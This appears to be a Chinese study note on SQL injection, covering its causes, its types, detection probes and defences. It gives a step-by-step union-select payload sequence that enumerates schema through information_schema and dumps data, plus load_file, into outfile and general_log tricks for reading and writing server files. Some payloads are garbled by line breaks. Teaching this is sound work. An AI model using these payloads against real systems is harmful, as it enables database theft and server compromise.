SQL注入筆記

2021-09-29 16:16:58 字數 2918 閱讀 7300

sql注入是一種將sql語句插入或新增到使用者輸入引數中,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行

(1) 對使用者的輸入的資料,沒有進行過濾,被帶到了資料庫中去執行,造成了sql注入。

(2) 程式編寫者在處理程式與資料庫互動時,使用字串拼接的方式構造sql語句

(1) 按資料型別分

a)	整形注入(不需要閉合,不需要注釋符號)

b) 字元型注入(需要閉合,需要注釋符號)

(2) 按注入語法分
a)	聯合查詢注入

b) 報錯注入

c) 布林型注入

d) 延時注入

e) 多語句注入

(1) and 1=1 / and 1=2 回顯頁面不同(整形判斷)

(2) 單引號判斷 『 顯示資料庫錯誤資訊或者頁面回顯不同(整形,字串型別判斷)

(3) \ (轉義符)

(4) -1/+1 回顯下乙個或上乙個頁面(整型判斷)

(5) and sleep(5) (判斷頁面返回時間)

任何客戶端可控,傳遞到伺服器且和資料庫進行互動的變數,都有可能存在sql注入

(1) 對進入資料庫的特殊字元(單引號,雙引號,尖括號等)進行轉換或編碼轉換。

(2) 不要使用動態拼裝sql,可以使用引數化的sql或者直接使用儲存過程進行資料查詢訪問。

(3) 不要使用管理員許可權的資料庫連線,為每個應用使用單獨的許可權有限的資料庫連線。

(4) 應用的異常資訊應該給出盡可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝

聯合查詢可以將兩個或兩個以上的select語句的查詢結果集合合併成乙個結果集合顯示

限制條件:

union必須由兩條或兩條以上的select語句組成

語句之間用關鍵字union分隔

union中的每個查詢必須包含相同的列

(1) 注入型別判斷

整型注入/字元型注入
(2) 確定 select 語句字段數量

order

by(折半找)

(3) 確定資料暴**

union

select1,

2,3,

4....

...

(4) 獲取資料庫名

union

select1,

database()

,3,.

....

(5) 獲取資料庫中表的數量

union

select1,

count(*

),3,

4,..

..from

`information_schema.

tables

`where

`table_schema`

=database()

;`

(6) 獲取資料庫中所有表名

union

select

1,group_concat(

`table_name`),

3,4,

....

from

`information_schema.

tables

`where

`table_name`

=database()

;

(7) 獲取指定表的字段數量

union

select1,

count(*

),3,

4,..

..from

`information_schema.

columns

`where

`table_name`

='users'

`table_schema`

=database()

;

(8) 獲取指定表的欄位名

union

select

1,group_concat(

`column_name`),

3,4,

....

from

`information_schema.

columns

`where

`table_name`

='users'

`table_schema`

=database()

;

(9) 獲取指定表的資料

union

select

1,group_concat(concat(欄位名, 欄位名,..

.)),

3,4,

...from表名

(1)讀檔案
my.ini 配置 privileges

secure_file_priv=

select load_file('檔名');

注:如果檔名被過濾可以通過轉換為十六進製制繞過

(2)寫檔案

select 1 into outfile '檔名;(不支援二進位制)

select 1 into dumpfile '檔名;(支援二進位制)

注:如果檔名被過濾不可以通過轉換為十六進製制繞過

(3)寫日誌

select @@general_log; 查詢日誌狀態

set global general_log = on; 設定日誌記錄為開啟

set global geenral_log_file = '檔名' 設定日誌檔案路徑

sql_lab

sql注入(筆記)

一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...

sql注入筆記

sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...

sql注入筆記

1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...